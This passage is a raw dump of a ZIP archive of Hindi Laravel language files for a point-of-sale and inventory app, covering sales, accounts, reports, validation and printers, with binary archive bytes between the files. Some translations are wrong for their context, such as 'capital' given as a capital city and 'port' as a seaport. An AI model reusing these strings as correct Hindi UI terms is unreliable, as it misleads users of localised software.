सफलतापूर्वक जोड़ा', 'tax_group_updated_success' => 'कर समूह सफलतापूर्वक अपडेट किया गया', 'tax_groups' => 'कर समूह', 'edit_tax_group' => 'कर समूह संपादित करें', 'sub_taxes' => 'उप कर', 'can_not_be_deleted' => 'यह कर दर कुछ कर समूहों से संबंधित है', ]; PK G �Z?KU�; ; hi/category.phpnu �[��� <?php return [ 'categories' => 'श्रेणियाँ', 'manage_your_categories' => 'अपनी श्रेणियां प्रबंधित करें', 'all_your_categories' => 'आपकी सभी श्रेणियां', 'category' => 'वर्ग', 'category_name' => 'श्रेणी नाम', 'code' => 'श्रेणी कोड', 'add_as_sub_category' => 'उप-श्रेणी के रूप में जोड़ें', 'select_parent_category' => 'पैरेंट कैटेगरी चुनें', 'added_success' => 'श्रेणी सफलतापूर्वक जोड़ा', 'updated_success' => 'श्रेणी सफलतापूर्वक अपडेट की गई', 'deleted_success' => 'श्रेणी को सफलतापूर्वक हटा दिया गया', 'add_category' => 'कैटेगरी जोड़े', 'edit_category' => 'श्रेणी संपादित करें', ]; PK G �Z ��� � hi/brand.phpnu �[��� <?php return [ 'brands' => 'ब्रांड', 'manage_your_brands' => 'अपने ब्रांडों को प्रबंधित करें', 'all_your_brands' => 'आपके सभी ब्रांड', 'note' => 'ध्यान दें', 'brand_name' => 'ब्रांड का नाम', 'short_description' => 'संक्षिप्त वर्णन', 'added_success' => 'ब्रांड सफलतापूर्वक जोड़ा', 'updated_success' => 'ब्रांड सफलतापूर्वक अपडेट किया गया', 'deleted_success' => 'ब्रांड सफलतापूर्वक हटा दिया गया', 'add_brand' => 'ब्रांड जोड़ें', 'edit_brand' => 'ब्रांड संपादित करें', ]; PK G �Z�ˍ hi/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'ये साख हमारे रिकॉर्ड से मेल नहीं खा रहे हैं।', 'throttle' => 'बहुत सारे लॉगिन प्रयास। :seconds सेकंड में फिर से कोशिश करें।', ]; PK G �ZGo<Y! Y! hi/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages here. | */ 'accepted' => ':attribute को स्वीकार किया जाना चाहिए।', 'active_url' => ':attribute एक मान्य URL नहीं है।', 'after' => ':attribute, :date के बाद की एक तारीख होनी चाहिए।', 'alpha' => ':attribute में केवल अक्षर हो सकते हैं।', 'alpha_dash' => ':attribute में केवल अक्षर, संख्या, और डैश हो सकते हैं।', 'alpha_num' => ':attribute में केवल अक्षर और संख्याएं हो सकती हैं।', 'array' => ':attribute एक सरणी होनी चाहिए।', 'before' => ':attribute, :date से पहले की एक तारीख होनी चाहिए।', 'between' => [ 'numeric' => ':attribute, :min और :max के बीच होना चाहिए।', 'file' => ':attribute, :min और :max किलोबाइट के बीच होना चाहिए।', 'string' => ':attribute, :min और :max वर्णों के बीच होना चाहिए।', 'array' => ':attribute, :min और :max आइटमों के बीच होनी चाहिए।', ], 'boolean' => ':attribute फील्ड सही या गलत होना चाहिए।', 'confirmed' => ':attribute पुष्टिकरण मेल नहीं खा रहा है।', 'date' => ':attribute एक मान्य दिनांक नहीं है।', 'date_format' => ':attribute फॉर्मेट :format से मेल नहीं खा रहा है।', 'different' => ':attribute और :other अलग होना चाहिए।', 'digits' => ':attribute, :digits अंक होना चाहिए।', 'digits_between' => ':attribute, :min और :max अंकों के बीच होना चाहिए।', 'distinct' => ':attribute फील्ड का एक डुप्लिकेट मान होता है।', 'email' => ':attribute एक मान्य ईमेल पता होना चाहिए।', 'exists' => 'चुना गया :attribute अमान्य है।', 'filled' => ':attribute फील्ड आवश्यक होता है।', 'image' => ':attribute एक छवि होनी चाहिए।', 'in' => 'चुना गया :attribute अमान्य है।', 'in_array' => ':attribute फील्ड, :other में मौजूद नहीं है।', 'integer' => ':attribute एक पूर्णांक होना चाहिए।', 'ip' => ':attribute एक मान्य IP पता होना चाहिए।', 'ipv4' => 'The :attribute must be a valid IPv4 address.', 'ipv6' => 'The :attribute must be a valid IPv6 address.', 'json' => ':attribute एक मान्य JSON स्ट्रिंग होना चाहिए।', 'max' => [ 'numeric' => ':attribute, :max से बड़ा नहीं हो सकता है।', 'file' => ':attribute :max किलोबाइट से बड़ा नहीं हो सकता है।', 'string' => ':attribute, :max वर्णों से बड़ा नहीं हो सकता है।', 'array' => ':attribute, :max आइटमों से अधिक नहीं हो सकता है।', ], 'mimes' => ':attribute एक प्रकार की फ़ाइल: :values होना चाहिए।', 'min' => [ 'numeric' => ':attribute कम से कम :min होना चाहिए।', 'file' => ':attribute कम से कम :min किलोबाइट होना चाहिए।', 'string' => ':attribute कम से कम :min वर्ण होना चाहिए।', 'array' => ':attribute कम से कम :min आइटम होना चाहिए।', ], 'not_in' => 'चुना गया :attribute अमान्य है।', 'numeric' => ':attribute एक संख्या होनी चाहिए।', 'present' => ':attribute फील्ड मौजूद होना चाहिए।', 'regex' => ':attribute फॉर्मेट अमान्य है।', 'required' => ':attribute फील्ड आवश्यक होता है।', 'required_if' => ':attribute फ़ील्ड आवश्यक होता है जब :other :value होता है।', 'required_unless' => ':attribute फील्ड आवश्यक होता है जब :other, :values में नहीं होता है।', 'required_with' => ':attribute फ़ील्ड आवश्यक होता है जब :values मौजूद होता है।', 'required_with_all' => ':attribute फ़ील्ड आवश्यक होता है जब :values मौजूद होता है।', 'required_without' => ':attribute फील्ड आवश्यक होता है जब :values मौजूद नहीं होता है।', 'required_without_all' => ':attribute फील्ड आवश्यक होता है जब एक भी :values मौजूद नहीं होता है।', 'same' => ':attribute और :other मेल खाना चाहिए।', 'size' => [ 'numeric' => ':attribute, :size होना चाहिए।', 'file' => ':attribute, :size किलोबाइट होना चाहिए।', 'string' => ':attribute, :size वर्ण होना चाहिए।', 'array' => ':attribute में :size आइटम होने चाहिए।', ], 'string' => ':attribute एक स्ट्रिंग होनी चाहिए।', 'timezone' => ':attribute एक मान्य क्षेत्र होना चाहिए।', 'unique' => ':attribute को पहले ही ले लिया गया है।', 'url' => ':attribute फॉर्मेट अमान्य है।', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'अनुकूल-संदेश', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [ 'test_name' => 'टेस्ट का नाम', 'test_description' => 'टेस्ट का विवरण', 'test_locale' => 'भाषा', 'image' => 'छवि', 'result_text_under_image' => 'छवि के नीचे परिणाम पाठ', 'short_text' => 'लघु पाठ', ], 'custom-messages' => [ 'quantity_not_available' => 'केवल :qty :unit उपलब्ध', 'this_field_is_required' => 'यह फ़ील्ड आवश्यक है', ], ]; PK G �Z �Z Z hi/account.phpnu �[��� <?php return [ 'account' => 'खाता', 'manage_your_account' => 'अपने खाते का प्रबंधन', 'all_accounts' => 'सभी खाते', 'account_number' => 'खाता संख्या', 'add_account' => 'खाता जोड़ो', 'account_created_success' => 'खाता सफलतापूर्वक बनाया गया', 'account_updated_success' => 'खाता सफलतापूर्वक अपडेट किया गया', 'edit_account' => 'खाता संपादित करें', 'account_closed_success' => 'खाता सफलतापूर्वक बंद हुआ', 'closed' => 'बन्द है', 'list_accounts' => 'सूची खाता', 'opening_balance' => 'प्रारंभिक शेष', 'account_book' => 'खाते वाली किताब', 'credit' => 'क्रेडिट', 'debit' => 'डेबिट', 'account_name' => 'खाते का नाम', 'transaction_type' => 'सौदे का प्रकार', 'fund_transfer' => 'फंड ट्रांसफर', 'selected_account' => 'चयनित खाता', 'transfer_to' => 'के लिए स्थानांतरण', 'fund_transfered_success' => 'फंड सफलतापूर्वक स्थानांतरित', 'deposit' => 'जमा', 'deposited_successfully' => 'राशि सफलतापूर्वक जमा की गई', 'from' => 'से', 'to' => 'सेवा मेरे', 'balance_sheet' => 'तुलन पत्र', 'liability' => 'दायित्व', 'assets' => 'आस्तियों', 'supplier_due' => 'प्रदायक देय', 'customer_due' => 'ग्राहक देय', 'account_balances' => 'खाते में शेष राशि', 'total_assets' => 'कुल संपत्ति', 'total_liability' => 'कुल देयता', 'trial_balance' => 'संतुलन परीक्षण', 'payments_not_linked_with_account' => 'कुल <b>:payments </b> भुगतान किसी भी खाते से जुड़े नहीं हैं।', 'saving_current' => 'सहेजा जा रहा है / चालू', 'capital' => 'राजधानी', 'not_applicable' => 'लागू नहीं', 'account_type' => 'खाते का प्रकार', 'accounts' => 'हिसाब किताब', 'capital_accounts' => 'पूंजीगत खाता', 'deposit_from' => 'जमा से', 'no_capital_account_created' => 'कोई सक्रिय पूंजी खाता मौजूद नहीं है।', 'payment_account_report' => 'भुगतान खाता रिपोर्ट', 'invoice_ref_no' => 'चालान संख्या / आरआईएफ संख्या', 'payment_ref_no' => 'भुगतान रेफरी संख्या', 'payment_for' => 'के लिए भुगतान', 'link_account' => 'खाते लिंक करें', 'account_linked_success' => 'खाता सफलतापूर्वक लिंक किया गया', 'view_details' => 'विवरण देखें', ]; PK G �Z��C�% % hi/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« पिछला', 'next' => 'अगला »', ]; PK G �Z�2Q�X X hi/contact.phpnu �[��� <?php return [ 'contacts' => 'संपर्क', 'name' => 'नाम', 'contact' => 'संपर्क', 'manage_your_contact' => ':contacts प्रबंधित करें', 'all_your_contact' => 'आपके सभी :contacts', 'add_contact' => 'एक नया संपर्क जोड़ें', 'contact_type' => 'संपर्क प्रकार', 'tax_no' => 'कर संख्या', 'pay_term' => 'पे अवधि', 'pay_term_period' => 'पे अवधि अवधि', 'mobile' => 'मोबाइल', 'landline' => 'लैंडलाइन', 'alternate_contact_number' => 'वैकल्पिक संपर्क नंबर', 'edit_contact' => 'संपादित संपर्क', 'added_success' => 'संपर्क सफलतापूर्वक जोड़ा गया', 'updated_success' => 'संपर्क सफलतापूर्वक अपडेट किया गया', 'deleted_success' => 'संपर्क सफलतापूर्वक हटा दिया गया', 'add_new_customer' => 'नया ग्राहक जोड़ें', 'view_contact' => 'संपर्क देखें', 'contact_info' => ':contact सूचना', 'all_purchases_linked_to_this_contact' => 'इस संपर्क से संबंधित सभी खरीदारियां', 'all_sells_linked_to_this_contact' => 'सभी इस संपर्क से संबंधित बेचता है', 'total_purchase_due' => 'कुल खरीद की बकाया', 'pay_due_amount' => 'देय राशि का भुगतान करें', 'total_paid' => 'कुल भुगतान हो गया', 'total_purchase_paid' => 'कुल खरीद भुगतान', 'total_sale_paid' => 'कुल बिक्री भुगतान', 'total_sale_due' => 'कुल बिक्री का कारण', 'customer' => 'ग्राहक', ]; PK G �Z浣 � hi/sale.phpnu �[��� <?php return [ 'sale' => 'बेचना', 'sells' => 'बिक्री', 'list_sale' => 'सूची बिक्री', 'add_sale' => 'बिक्री जोड़ें', 'pos_sale' => 'POS', 'draft_added' => 'ड्राफ़्ट सफलतापूर्वक जोड़ा गया', 'invoice_added' => 'चालान सफलतापूर्वक जोड़ा', 'item' => 'आइटम', 'total' => 'कुल', 'order_tax' => 'ऑर्डर टैक्स', 'discount' => 'छूट', 'total_payable' => 'कुल देय', 'cancel' => 'रद्द करना', 'draft' => 'प्रारूप', 'finalize' => 'पे और चेकआउट', 'express_finalize' => 'एक्सप्रेस <br/> चेकआउट', 'product' => 'उत्पाद', 'products' => 'उत्पाद', 'unit_price' => 'यूनिट मूल्य', 'qty' => 'मात्रा', 'subtotal' => 'उप-योग', 'recent_transactions' => 'आपका हालिया लेनदेन', 'pos_sale_added' => 'बिक्री सफलतापूर्वक जोड़ा', 'price_inc_tax' => 'मूल्य इंक टैक्स', 'tax' => 'कर', 'edit_discount' => 'छूट संपादित करें', 'edit_order_tax' => 'ऑर्डर कर संपादित करें', 'discount_type' => 'डिस्काउंट प्रकार', 'discount_amount' => 'छूट राशि', 'no_recent_transactions' => 'कोई हालिया लेनदेन नहीं', 'final' => 'अंतिम', 'invoice_no' => 'चालान नंबर।', 'customer_name' => 'ग्राहक का नाम', 'payment_status' => 'भुगतान की स्थिति', 'status' => 'स्थिति', 'total_amount' => 'कुल रकम', 'total_paid' => 'कुल भुगतान हो गया', 'total_remaining' => 'कुल शेष', 'payment_info' => 'भुगतान की जानकारी', 'drafts' => 'ड्राफ़्ट', 'all_drafts' => 'सभी ड्राफ्ट', 'sell_details' => 'बेचना विवरण', 'payments' => 'भुगतान', 'amount' => 'रकम', 'payment_mode' => 'भुगतान का प्रकार', 'payment_note' => 'भुगतान नोट', 'sell_note' => 'नोट बेच', 'staff_note' => 'स्टाफ नोट', 'draft_updated' => 'ड्राफ्ट सफलतापूर्वक अपडेट किया गया', 'pos_sale_updated' => 'बिक्री सफलतापूर्वक अपडेट की गई', 'location' => 'स्थान', 'add_payment_row' => 'भुगतान पंक्ति जोड़ें', 'finalize_payment' => 'भुगतान को अंतिम रूप देना', 'sale_date' => 'बिक्री की तिथी', 'list_pos' => 'POS की सूची', 'edit_sale' => 'बिक्री संपादित करें', 'shipping' => 'शिपिंग', 'shipping_details' => 'परिवहन विवरण', 'shipping_charges' => 'भेजने का शुल्क', ]; PK G �ZR� � � hi/report.phpnu �[��� <?php return [ 'reports' => 'रिपोर्ट', 'purchase_sell_report' => 'खरीद और बिक्री', 'purchase_sell' => 'क्रय और बिक्री रिपोर्ट', 'purchase_sell_msg' => 'चयनित तिथि सीमा के लिए खरीद और बिक्री विवरण', 'total_purchase' => 'कुल खरीद', 'purchase_inc_tax' => 'कर सहित खरीद', 'total_sell' => 'कुल बिक्री', 'sell_inc_tax' => 'बिक्री सहित कर', 'purchase_due' => 'खरीदा गया', 'sell_due' => 'बिक्री की वजह', 'overall' => 'कुल मिलाकर (बिक्री-खरीद)', 'sell_minus_purchase' => 'बिक्री - खरीद', 'difference_due' => 'देय राशि', 'customer' => 'ग्राहकों', 'supplier' => 'आपूर्तिकर्ता', 'total_due' => 'कारण', 'contacts' => 'प्रदायक और ग्राहक रिपोर्ट', 'contact' => 'संपर्क करें', 'stock_report' => 'स्टॉक रिपोर्ट', 'products' => 'उत्पाद', 'current_stock' => 'वर्तमान स्टॉक', 'total_unit_sold' => 'कुल इकाई बेची गई', 'tax_report' => 'टैक्स रिपोर्ट', 'tax_report_msg' => 'चयनित दिनांक सीमा के लिए कर विवरण', 'input_tax' => 'इनपुट कर', 'output_tax' => 'उत्पादन कर', 'tax_overall' => 'कुल मिलाकर (इनपुट - आउटपुट)', 'input_tax_minus_output_tax' => 'इनपुट टैक्स - आउटपुट टैक्स', 'trending_products' => 'ट्रेन्डिंग प्रोडक्ट्स', 'apply_filters' => 'फ़िल्टर लागू करें', 'filters' => 'फ़िल्टर', 'expense_report' => 'व्यय आख्या', 'total_expense' => 'कुल खर्च', 'others' => 'अन्य', 'all' => 'सब', 'top_trending_products' => 'शीर्ष रुझान उत्पाद', 'all_locations' => 'समस्त स्थान', 'stock_adjustment_report' => 'स्टॉक समायोजन रिपोर्ट', 'total_stock_adjustment' => 'कुल स्टॉक समायोजन', 'total_recovered' => 'कुल राशि पुनर्प्राप्त', 'total_normal' => 'कुल सामान्य', 'total_abnormal' => 'कुल असामान्य', 'register_report' => 'रिपोर्ट कीजिए', 'open_time' => 'खुला समय', 'close_time' => 'बंद होने का समय', 'user' => 'उपयोगकर्ता', 'all_users' => 'सभी उपयोगकर्ताओं', 'sales_representative' => 'बिक्री प्रतिनिधि रिपोर्ट', 'sales_representative_expenses' => 'बिक्री प्रतिनिधि से संबंधित सभी खर्च', 'summary' => 'सारांश', 'date_range' => 'तिथि सीमा', 'stock_expiry_report' => 'स्टॉक समाप्ति रिपोर्ट', 'stock_left' => 'स्टॉक बायां', 'expired' => 'समय सीमा समाप्त', 'view_stocks' => 'स्टॉक देखें', 'expiring_in_1_week' => 'एक सप्ताह में समाप्त हो रहा है', 'expiring_in_15_days' => '15 दिनों में समाप्त हो रहा है', 'expiring_in_1_month' => 'एक महीने में समाप्त हो रहा है', 'expiring_in_3_months' => '3 महीने में समाप्त हो रहा है', 'expiring_in_6_months' => '6 महीने में समाप्त हो रहा है', 'expiring_in_1_year' => 'एक वर्ष में समाप्ति', 'profit_loss' => 'लाभ / हानि रिपोर्ट', 'opening_stock' => 'आरंभिक स्टॉक', 'closing_stock' => 'आखरी बचा हुआ माल', 'total_expense' => 'कुल खर्च', 'net_profit' => 'शुद्ध लाभ', 'total_stock_adjustment' => 'कुल स्टॉक समायोजन', 'total_stock_recovered' => 'कुल स्टॉक बरामद', ]; PK G �Z,x怗 � hi/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reset Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'पासवर्ड में कम से कम छः वर्ण होने चाहिए और पुष्टि से मेल खाने चाहिए।', 'reset' => 'आपका पासवर्ड रीसेट कर दिया गया है!', 'sent' => 'हमने आपको एक पासवर्ड रीसेट लिंक ई-मेल किया है!', 'token' => 'यह पासवर्ड रीसेट टोकन अमान्य है।', 'user' => 'हमें उस ई-मेल पते के साथ एक उपयोगकर्ता नहीं मिल सकता है।', ]; PK G �Z jЩ7 7 hi/unit.phpnu �[��� <?php return [ 'units' => 'इकाइयों', 'manage_your_units' => 'अपनी इकाइयां प्रबंधित करें', 'all_your_units' => 'आपके सभी इकाइयां', 'name' => 'नाम', 'short_name' => 'संक्षिप्त नाम', 'allow_decimal' => 'दशमलव की अनुमति दें', 'added_success' => 'यूनिट सफलतापूर्वक जोड़ा', 'updated_success' => 'यूनिट सफलतापूर्वक अद्यतन', 'deleted_success' => 'यूनिट सफलतापूर्वक हटा दी', 'add_unit' => 'इकाई जोड़ें', 'edit_unit' => 'यूनिट संपादित करें', ]; PK G �Z�"�� � hi/printer.phpnu �[��� <?php return [ 'printers' => 'प्रिंटर', 'add_printer' => 'प्रिंटर जोड़ें', 'name' => 'प्रिंटर का नाम', 'connection_type' => 'संबंध प्रकार', 'capability_profile' => 'क्षमता प्रोफाइल', 'ip_address' => 'आईपी पता', 'port' => 'बंदरगाह', 'path' => 'पथ', 'added_success' => 'प्रिंटर सफलतापूर्वक जोड़ा गया', 'manage_your_printers' => 'अपने प्रिंटर प्रबंधित करें', 'all_your_printer' => 'सभी कॉन्फ़िगर प्रिंटर', 'deleted_success' => 'प्रिंटर सफलतापूर्वक हटा दिया गया', 'edit_printer_setting' => 'प्रिंटर कॉन्फ़िगरेशन संपादित करें', 'receipt_printers' => 'रसीद प्रिंटर', 'character_per_line' => 'अक्षर प्रति पंक्ति', 'printer_name' => 'प्रिंटर का नाम', 'updated_success' => 'प्रिंटर सफलतापूर्वक अपडेट किया गया', 'edit_printer' => 'प्रिंटर संपादित करें', ]; PK G �Z�_�v� � hi/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'खरीद स्क्रीन से उत्पाद की कीमत को संपादित करना सक्षम करें', 'sales_commission_agent' => 'सेल्स कमीशन एजेंट', 'sales_commission_agents' => 'सेल्स कमीशन एजेंटस', 'disable' => 'अक्षम', 'logged_in_user' => 'लॉग-इन उपयोगकर्ता', 'select_from_users_list' => 'उपयोगकर्ता की सूची में से चुनें', 'select_from_commisssion_agents_list' => 'कमीशन एजेंट की सूची से चुनें', 'add_sales_commission_agent' => 'बिक्री आयोग एजेंट जोड़ें', 'commission_agent_added_success' => 'कमीशन एजेंट सफलतापूर्वक जोड़ा', 'edit_sales_commission_agent' => 'बिक्री आयोग के एजेंट को संपादित करें', 'commission_agent_updated_success' => 'कमीशन एजेंट सफलतापूर्वक अद्यतन किया गया', 'commission_agent_deleted_success' => 'आयोग एजेंट सफलतापूर्वक नष्ट कर दिया', 'contact_no' => 'संपर्क नंबर', 'commission_agent' => 'दलाल', 'cmmsn_percent' => 'बिक्री आयोग का प्रतिशत (%)', 'sales_added' => 'बिक्री जोड़ा गया', 'sales_with_commission' => 'बिक्री के साथ आयोग', //"total_sale_with_commission" => "आयोग के साथ कुल बिक्री", 'total_sale_commission' => 'कुल बिक्री आयोग', 'sales_item_addition_method' => 'बिक्री आइटम अतिरिक्त विधि', 'add_item_in_new_row' => 'नई पंक्ति में आइटम जोड़ें', 'increase_item_qty' => 'आइटम मात्रा बढ़ाएं अगर यह पहले से मौजूद है', 'stock_transfers' => 'स्टॉक स्थानांतरण', 'all_stock_transfers' => 'सभी स्टॉक स्थानांतरण', 'add_stock_transfer' => 'स्टॉक स्थानांतरण जोड़ें', 'list_stock_transfers' => 'सूची स्टॉक स्थानांतरण', 'location_from' => 'स्थान (से)', 'location_to' => 'स्थान (प्रति)', 'shipping_charges' => 'भेजने का शुल्क', 'stock_transfer_added_successfully' => 'स्टॉक स्थानांतरण सफलतापूर्वक जोड़ा', 'stock_transfer_delete_success' => 'स्टॉक स्थानांतरण सफलतापूर्वक हटा दिया गया', 'stock_transfer_cannot_be_deleted' => 'यह स्टॉक स्थानांतरण नष्ट नहीं किया जा सकता क्योंकि कुछ स्टॉक पहले ही बिक चुके हैं', 'total_transfer_shipping_charges' => 'कुल स्थानांतरण नौवहन शुल्क', 'enable_inline_tax' => 'खरीद और बिक्री में इनलाइन कर सक्षम करें', 'save_n_add_opening_stock' => 'बचत खोलें और जोड़ें खोलें', 'add_opening_stock' => 'खोलना स्टॉक जोड़ें', 'opening_stock_added_successfully' => 'खोलने का स्टॉक सफलतापूर्वक जोड़ा गया', 'update_n_edit_opening_stock' => 'स्टॉक को अद्यतन और संपादित करना', 'total_amount_exc_tax' => 'कुल राशि (एक्सा टैक्स)', 'currency_symbol_placement' => 'मुद्रा चिह्न प्लेसमेंट', 'before_amount' => 'राशि से पहले', 'after_amount' => 'राशि के बाद', 'barcode_label_error' => 'चयनित बारकोड प्रकार के लिए असमर्थित SKU आईडी', 'list_products' => 'सूची उत्पाद', 'list_expenses' => 'सूची व्यय', 'add_expiry' => 'आइटम समाप्ति जोड़ें', 'add_manufacturing_auto_expiry' => 'विनिर्माण तिथि और समाप्ति अवधि जोड़ें', 'tooltip_enable_expiry' => 'उत्पाद समाप्ति को सक्षम करें. <br/> <br/><b>आइटम समाप्ति जोड़ें</b>: सीधे आइटम समाप्ति को सीधे जोड़ने के लिए <br/> <b>विनिर्माण तिथि और समाप्ति अवधि जोड़ें</b>: विनिर्माण तिथि और समाप्ति अवधि को जोड़ने और उस पर आधारित समाप्ति तिथि की गणना करने के लिए।', 'quantity' => 'मात्रा', 'on_product_expiry' => 'उत्पाद समाप्ति पर', 'keep_selling' => 'बेचना रखें', 'stop_selling' => 'N दिन पहले बेचने बंद करो', 'tooltip_on_product_expiry' => 'उत्पाद की समाप्ति पर किए जाने वाले कार्यों को निर्दिष्ट करें <br><br> <b>बेचना रखें</b>: उत्पाद समाप्त होने के बाद भी बिक्री पर रखा जाएगा। <br> <b>बिक्री बंद करो</b>: एक्सपायरी से पहले आइटम बेचने से रोकें।', 'output_tax_minus_input_tax' => 'उत्पादन कर - इनपुट कर', 'total_purchase_discount' => 'कुल खरीद छूट', 'total_sell_discount' => 'कुल बेचना छूट', 'updated_succesfully' => 'अद्यतन सफलतापूर्ण हो गया', 'default_unit' => 'डिफ़ॉल्ट इकाई', 'enable_brand' => 'ब्रांड सक्षम करें', 'enable_category' => 'श्रेणियां सक्षम करें', 'enable_sub_category' => 'उप-श्रेणियां सक्षम करें', 'enable_price_tax' => 'मूल्य और कर जानकारी सक्षम करें', 'enable_purchase_status' => 'खरीद स्थिति सक्षम करें', 'tooltip_enable_purchase_status' => 'सभी खरीद को निष्क्रिय करने पर <i> आइटम प्राप्त हुआ </i> के रूप में चिह्नित किया जाएगा', 'recent_product_quantity' => 'उत्पाद मात्रा पर जाएं', 'full_screen' => 'पूर्ण स्क्रीन', 'Uncategorised' => 'अवर्गीकृत', 'no_products_to_display' => 'प्रदर्शित करने के लिए कोई उत्पाद नहीं', 'item_out_of_stock' => 'उत्पाद स्टॉक से बाहर', 'go_back' => 'वापस जाओ', 'disable_pay_checkout' => 'भुगतान और चेकआउट अक्षम करें', 'disable_draft' => 'ड्राफ्ट अक्षम करें', 'disable_express_checkout' => 'एक्सप्रेस चेकआउट अक्षम करें', 'hide_product_suggestion' => 'उत्पाद सुझाव न दिखाएं', 'hide_recent_trans' => 'हाल के लेनदेन न दिखाएं', 'pos_settings' => 'पीओएस सेटिंग्स', 'disable_discount' => 'छूट अक्षम करें', 'disable_order_tax' => 'ऑर्डर कर अक्षम करें', 'customer_groups' => 'ग्राहक समूह', 'customer_group' => 'ग्राहक समूह', 'all_your_customer_groups' => 'सभी ग्राहक समूह', 'add_customer_group' => 'ग्राहक समूह जोड़ें', 'customer_group_name' => 'ग्राहक समूह नाम', 'calculation_percentage' => 'गणना प्रतिशत (%)', 'tooltip_calculation_percentage' => '<b> बिक्री की कीमत = उत्पाद की बिक्री के लिए मूल्य सेट करें + गणना प्रतिशत </b> <br/> <br/> आप बिक्री मूल्य को कम करने के लिए वृद्धि के लिए सकारात्मक और नकारात्मक रूप में प्रतिशत निर्दिष्ट कर सकते हैं।', 'success' => 'सफलता', 'edit_customer_group' => 'ग्राहक समूह संपादित करें', 'customer_groups_report' => 'ग्राहक समूह रिपोर्ट', 'none' => 'कोई नहीं', 'enable_imei_or_sr_no' => 'IMEI या सीरियल नंबर सक्षम करें', 'tooltip_sr_no' => 'पीओएस स्क्रीन में उत्पाद जोड़ते समय उत्पाद IMEI या सीरियल नंबर को सक्षम या अक्षम करें', 'description' => 'विवरण', 'sell_line_description_help' => 'उत्पाद IMEI, सीरियल नंबर या अन्य जानकारी यहां जोड़ें।', 'unit_cost_before_discount' => 'इकाई लागत (छूट से पहले)', 'discount_percent' => 'डिस्काउंट प्रतिशत', 'application_tour' => 'एप्लिकेशन टूर', 'profile' => 'प्रोफाइल', 'sign_out' => 'साइन आउट', 'my_profile' => 'मेरी प्रोफाइल', 'Admin' => 'व्यवस्थापक', 'Cashier' => 'खजांची', 'both_supplier_customer' => 'दोनों (प्रदायक और ग्राहक)', 'months' => 'महीने', 'days' => 'दिन', 'suppliers' => 'आपूर्तिकर्ता', 'customers' => 'ग्राहकों', 'enter_product_name_to_print_labels' => 'लेबल मुद्रित करने के लिए उत्पाद नाम दर्ज करें', 'manage_product_variations' => 'उत्पाद विविधता प्रबंधित करें', 'all_variations' => 'सभी विविधताओं', 'values' => 'मान', 'add_variation' => 'विविधता जोड़ें', 'variation_name' => 'विविधता नाम', 'add_variation_values' => 'विविधता मूल्य जोड़ें', 'edit_variation' => 'बदलाव संपादित करें', 'received' => 'प्राप्त किया', 'pending' => 'लंबित', 'ordered' => 'आदेश दिया', 'search_product_placeholder' => 'उत्पाद का नाम / SKU / स्कैन बार कोड दर्ज करें', 'fixed' => 'निश्चित', 'percentage' => 'प्रतिशत', 'select_location' => 'स्थान चुनें', 'add_description' => 'विवरण जोड़ें', 'cash' => 'कैश', 'card' => 'कार्ड', 'cheque' => 'चेक', 'bank_transfer' => 'बैंक ट्रांसफर', 'other' => 'अन्य', 'payment' => 'भुगतान', 'total_items' => 'कुल सामान', 'total_paying' => 'कुल भुगतान', 'balance' => 'शेष', 'payment_method' => 'भुगतान का तरीका', 'card_no' => 'कार्ड नंबर', 'card_holder_name' => 'कार्डधारक का नाम', 'card_transaction_no' => 'कार्ड लेनदेन संख्या', 'card_type' => 'कार्ड के प्रकार', 'month' => 'महीना', 'year' => 'साल', 'security_code' => 'सुरक्षा कोड', 'cheque_no' => 'चेक नंबर', 'bank_account_number' => 'बैंक खाता नम्बर', 'paid' => 'भुगतान किया है', 'due' => 'देय', 'partial' => 'आंशिक', 'no_of_products' => 'उत्पादों की संख्या', 'select_a_date_range' => 'तिथि सीमा चुनें', 'shortcut_help' => "शॉर्टकट को '+' के द्वारा अलग की जाने वाली चाबी का नाम होना चाहिए", 'example' => 'उदाहरण', 'available_key_names_are' => 'उपलब्ध कुंजी नाम हैं', 'add_new_product' => 'नया उत्पाद जोड़ें', 'invoice_logo_help' => 'अधिकतम :max_size, जेपीईजी, जीआईएफ, पीएनजी प्रारूप केवल।', 'invoice_logo_help2' => 'केवल तभी अपलोड करें, जब आप पिछले लोगो को बदलना चाहते हैं', 'printer_name_help' => 'प्रिंटर को पहचानने के लिए संक्षिप्त वर्णनात्मक नाम', 'char_per_line_help' => 'प्रति पंक्ति छपी हुई वर्ण की संख्या', 'ip_address_help' => 'प्रिंटर से कनेक्ट करने के लिए आईपी पता', 'port_help' => 'अधिकांश प्रिंटर पोर्ट 9100 पर काम करता है', 'combination_of_taxes' => 'एकाधिक करों का संयोजन', 'product_purchase_report' => 'उत्पाद खरीद रिपोर्ट', 'unit_perchase_price' => 'इकाई खरीद मूल्य', 'search_product' => 'खोज उत्पाद', 'product_sell_report' => 'उत्पाद बेचने की रिपोर्ट', 'unit_sale_price' => 'इकाई बिक्री मूल्य', 'contact_id' => 'संपर्क आईडी', 'category_code_help' => 'श्रेणी कोड <b> एचएसएन कोड </b> के समान है', 'sub_heading_line' => 'उप शीर्षक रेखा :_number_', 'date_label' => 'दिनांक लेबल', 'client_id_label' => 'क्लाइंट आईडी 